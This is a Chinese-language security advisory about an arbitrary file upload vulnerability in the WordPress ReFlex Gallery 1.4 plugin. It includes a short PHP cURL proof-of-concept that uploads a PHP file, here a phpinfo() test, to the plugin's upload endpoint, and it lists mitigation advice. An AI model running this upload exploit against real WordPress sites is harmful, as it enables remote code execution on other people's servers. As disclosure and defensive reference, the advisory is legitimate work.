WordPress ReFlex Gallery插件'php.php'任意文件上传漏洞


发布日期:2012-12-30
更新日期:2013-01-04

受影响系统:
WordPress ReFlex Gallery 1.4
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 57100
 
Sammy FORGIT是合二为一的图库相册插件。

 WordPress Sammy Forgit内存在安全漏洞,wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php允许上传带有任意扩展名的文件到webroot内的文件夹,通过提交恶意的PHP脚本,可导致任意PHP代码执行。
 
<*来源:Sammy Forgit
 
  链接:http://packetstormsecurity.com/files/119218/wpreflexgallery-shell.txt
        http://www.securelist.com/en/advisories/51698
 *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Exploit :
 
PostShell.php
 
<?php
 
$uploadfile="lo.php";
$ch = curl_init("http://localhost/wordpress/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php");
 curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('qqfile'=>"@$uploadfile"));
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 $postResult = curl_exec($ch);
 curl_close($ch);
 print "$postResult";
 
?>
 
Shell Access :
 http://localhost/wordpress/wp-content/uploads/
 Filename PostShell.php output
 
lo.php
 <?php
 phpinfo();
 ?>
 
# Site : 1337day.com Inj3ct0r Exploit Database

建议:
--------------------------------------------------------------------------------
临时解决方法:
 
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
 
* 禁用WordPress ReFlex Gallery插件
 
厂商补丁:
 
WordPress
 ---------
 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
 
http://wordpress.org/extend/plugins/reflex-gallery/

相关内容